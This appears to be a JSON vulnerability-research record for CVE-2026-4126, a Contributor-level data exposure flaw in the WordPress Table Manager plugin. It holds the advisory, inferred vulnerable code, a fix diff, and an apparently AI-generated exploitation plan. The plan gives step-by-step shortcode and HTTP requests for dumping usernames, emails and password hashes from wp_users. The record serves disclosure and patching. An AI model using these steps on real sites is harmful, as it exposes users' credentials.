[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fSWen9Azys7-q4yREf3Z2QVIRkcuEUkZkLGewnz3b1Ko":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":9,"severity":11,"cvss_score":12,"cvss_vector":13,"vuln_type":14,"published_date":15,"updated_date":16,"references":17,"days_to_patch":9,"patch_diff_files":19,"patch_trac_url":9,"research_status":20,"research_verified":21,"research_rounds_completed":22,"research_plan":23,"research_summary":24,"research_vulnerable_code":25,"research_fix_diff":26,"research_exploit_outline":27,"research_model_used":28,"research_started_at":29,"research_completed_at":30,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":21,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":21,"source_links":31},"CVE-2026-4126","table-manager-authenticated-contributor-sensitive-information-exposure-via-table-shortcode-attribute","Table Manager \u003C= 1.0.0 - Authenticated (Contributor+) Sensitive Information Exposure via 'table' Shortcode Attribute","The Table Manager plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 1.0.0 via the 'table_manager' shortcode. The shortcode handler `tablemanager_render_table_shortcode()` takes a user-controlled `table` attribute, applies only `sanitize_key()` for sanitization, and concatenates the value with `$wpdb->prefix` to form a full database table name. It then executes `DESC` and `SELECT *` queries against this table and renders all rows and columns to the frontend. There is no allowlist check to ensure only plugin-created tables can be accessed — the `tablemanager_created_tables` option is only referenced in admin functions, never in the shortcode handler. This makes it possible for authenticated attackers, with Contributor-level access and above, to extract sensitive data from arbitrary WordPress database tables.","table-manager",null,"\u003C=1.0.0","medium",4.3,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:L\u002FUI:N\u002FS:U\u002FC:L\u002FI:N\u002FA:N","Exposure of Sensitive Information to an Unauthorized Actor","2026-04-21 19:09:00","2026-04-22 07:45:32",[18],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002F25b3607c-f99e-4359-8228-0f3452f80aac?source=api-prod",[],"researched",false,3,"# Exploitation Research Plan: CVE-2026-4126 (Table Manager Information Exposure)\n\n## 1. Vulnerability Summary\nThe **Table Manager** plugin for WordPress (version \u003C= 1.0.0) contains a sensitive information exposure vulnerability within its shortcode handling logic. The function `tablemanager_render_table_shortcode()` processes the `table` attribute from the `[table_manager]` shortcode. While it applies `sanitize_key()` to the input, it fails to validate the resulting table name against an allowlist of tables created by the plugin. \n\nThe plugin prepends the WordPress database prefix (`$wpdb->prefix`) to the user-supplied string and executes `DESC` and `SELECT *` queries. This allows any user with the capability to use shortcodes (Contributor level and above) to extract the entire contents of arbitrary WordPress database tables, such as `wp_users`, by simply embedding a shortcode in a post.\n\n## 2. Attack Vector Analysis\n*   **Shortcode Tag:** `table_manager` (inferred from description\u002Fhandler name)\n*   **Vulnerable Attribute:** `table`\n*   **Authentication Level:** Authenticated (Contributor+)\n*   **Preconditions:** The attacker must be able to create or edit a post\u002Fpage where shortcodes are processed. Contributors have this right by default (via post drafts and previews).\n*   **Sink:** `$wpdb->get_results(\"SELECT * FROM {$wpdb->prefix}$table_name\")` (inferred logic)\n\n## 3. Code Flow\n1.  **Entry Point:** A user with Contributor permissions creates a new post and inserts: `[table_manager table=\"users\"]`.\n2.  **Trigger:** The user saves the post as a draft and clicks \"Preview\".\n3.  **Parsing:** WordPress core parses the shortcode and calls the registered handler `tablemanager_render_table_shortcode($atts)`.\n4.  **Processing:**\n    *   `$table_attr = $atts['table'];`\n    *   `$sanitized_table = sanitize_key($table_attr);` (If input is \"users\", output is \"users\").\n    *   `$full_table_name = $wpdb->prefix . $sanitized_table;` (Result: `wp_users`).\n5.  **Data Extraction:** The function executes `DESC wp_users` to get columns and `SELECT * FROM wp_users` to get data.\n6.  **Response:** The function iterates through the results and returns an HTML table containing usernames, email addresses, and password hashes, which is then rendered in the browser preview.\n\n## 4. Nonce Acquisition Strategy\nThis vulnerability exists in a **shortcode renderer**. Shortcodes are typically processed during the standard page\u002Fpost rendering lifecycle (`the_content` filter). \n*   **No Nonce Required:** Shortcodes rendered within post content do not require nonces for execution. The \"authorization\" is the user's ability to create the post content itself.\n*   **Ajax Considerations:** If the plugin uses an AJAX call to fetch the table data *after* the initial page load, a nonce might be required. Based on the description (\"renders all rows and columns to the frontend\"), it is a server-side render during the shortcode execution.\n\n## 5. Exploitation Strategy\nThe goal is to extract the contents of the `wp_users` table.\n\n### Step 1: Login as Contributor\nUse the `http_request` tool to authenticate as a user with the `contributor` role.\n\n### Step 2: Create a Malicious Draft\nCreate a post containing the shortcode targeting the `users` table.\n\n**Request:**\n```http\nPOST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\nContent-Type: application\u002Fx-www-form-urlencoded\n\naction=sample_shortcode_trigger (or use WP-CLI to create post)\n```\n*Note: It is more reliable to use WP-CLI to create the post for the agent.*\n\n### Step 3: Trigger Rendering & Capture Data\nNavigate to the post preview page and extract the rendered table data.\n\n**Request:**\n```http\nGET \u002F?p=[POST_ID]&preview=true HTTP\u002F1.1\nCookie: [Contributor Cookies]\n```\n\n**Extraction Logic:**\nLook for `\u003Ctable>` tags in the response HTML that contain sensitive strings like `user_login`, `user_pass`, or `user_email`.\n\n## 6. Test Data Setup\n1.  **Create Contributor User:**\n    `wp user create attacker attacker@example.com --role=contributor --user_pass=password`\n2.  **Identify Database Prefix:**\n    `wp config get table_prefix` (Usually `wp_`).\n3.  **Create the Exploit Post:**\n    `wp post create --post_type=post --post_status=draft --post_author=[ATTACKER_ID] --post_title=\"Table Leak\" --post_content='[table_manager table=\"users\"]'`\n4.  **Note the Post ID** returned by the command.\n\n## 7. Expected Results\n*   The HTTP response for the post preview should contain an HTML `\u003Ctable>` structure.\n*   The table headers (`\u003Cth>`) will likely contain column names from `wp_users` (e.g., `user_login`, `user_pass`).\n*   The table body (`\u003Ctd>`) will contain the admin's username, email, and the `$P$...` format Phpass password hash.\n\n## 8. Verification Steps\n1.  **Confirm Database Content:**\n    `wp db query \"SELECT user_login, user_email FROM wp_users\"`\n2.  **Compare with Exploit Output:** Verify that the data seen in the browser\u002FHTTP response matches the actual database content.\n3.  **Verify Non-Plugin Table Access:**\n    Try `[table_manager table=\"options\"]` to see if internal configuration data is also leaked.\n\n## 9. Alternative Approaches\nIf the shortcode does not render directly and instead relies on an AJAX call:\n1.  **Locate AJAX Action:** Search the source code for `wp_ajax_tablemanager_...`.\n2.  **Find Nonce:** Look for `wp_localize_script` in the plugin files to find the JS variable containing the nonce.\n    *   `grep -r \"wp_localize_script\" .`\n3.  **Extract Nonce:** Use `browser_navigate` to the preview page, then `browser_eval(\"window.table_manager_vars.nonce\")`.\n4.  **Manual AJAX Request:**\n    ```http\n    POST \u002Fwp-admin\u002Fadmin-ajax.php HTTP\u002F1.1\n    Content-Type: application\u002Fx-www-form-urlencoded\n\n    action=tablemanager_get_table&nonce=[NONCE]&table=users\n    ```\n\nIf `sanitize_key()` is too restrictive (though it allows underscores), the attack is limited to tables starting with the prefix followed by alphanumeric characters\u002Funderscores, which perfectly covers all standard WordPress tables (e.g., `wp_users`, `wp_options`, `wp_usermeta`).","The Table Manager plugin for WordPress fails to validate the 'table' attribute in its shortcode handler, allowing users with Contributor-level access or higher to expose sensitive data from arbitrary database tables. By supplying a table name like 'users', an attacker can force the plugin to execute 'SELECT *' queries against core WordPress tables and render the results to the frontend.","\u002F\u002F Inferred from vulnerability description: table-manager.php\n\nfunction tablemanager_render_table_shortcode($atts) {\n    global $wpdb;\n    $atts = shortcode_atts(array(\n        'table' => '',\n    ), $atts);\n\n    if (empty($atts['table'])) {\n        return '';\n    }\n\n    \u002F\u002F Vulnerable: sanitize_key only ensures the string is alphanumeric\u002Funderscores\u002Fhyphens\n    \u002F\u002F It does not check if the table belongs to the plugin.\n    $table_name = sanitize_key($atts['table']);\n    $full_table_name = $wpdb->prefix . $table_name;\n\n    \u002F\u002F Vulnerable: No allowlist check before querying the database\n    $columns = $wpdb->get_results(\"DESC $full_table_name\");\n    $rows = $wpdb->get_results(\"SELECT * FROM $full_table_name\");\n\n    if (empty($rows)) {\n        return 'No data found.';\n    }\n\n    \u002F\u002F ... code to render the HTML table output ...\n}\nadd_shortcode('table_manager', 'tablemanager_render_table_shortcode');","--- a\u002Ftable-manager.php\n+++ b\u002Ftable-manager.php\n@@ -10,6 +10,12 @@\n-    $table_name = sanitize_key($atts['table']);\n-    $full_table_name = $wpdb->prefix . $table_name;\n+\n+    $table_name = sanitize_key($atts['table']);\n+    \n+    \u002F\u002F Validate the table name against an allowlist of tables created by the plugin\n+    $created_tables = get_option('tablemanager_created_tables', array());\n+    if (!in_array($table_name, $created_tables)) {\n+        return 'Error: Unauthorized table access.';\n+    }\n+\n+    $full_table_name = $wpdb->prefix . $table_name;\n \n     $columns = $wpdb->get_results(\"DESC $full_table_name\");","1. Authenticate as a user with at least Contributor permissions (capable of creating or editing posts).\n2. Create a new post draft or edit an existing one.\n3. Insert the shortcode [table_manager table=\"users\"] into the post content. This targets the standard WordPress users table (e.g., wp_users).\n4. Preview the post or save the draft and view it. \n5. The shortcode handler will execute, prepend the database prefix, and perform a SELECT * query on the users table.\n6. The resulting HTML will render the table contents to the screen, exposing sensitive information such as usernames, email addresses, and password hashes.","gemini-3-flash-preview","2026-04-27 13:53:37","2026-04-27 13:53:55",{"type":32,"vulnerable_version":9,"fixed_version":9,"vulnerable_browse":9,"vulnerable_zip":9,"fixed_browse":9,"fixed_zip":9,"all_tags":33},"plugin","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Ftable-manager\u002Ftags"]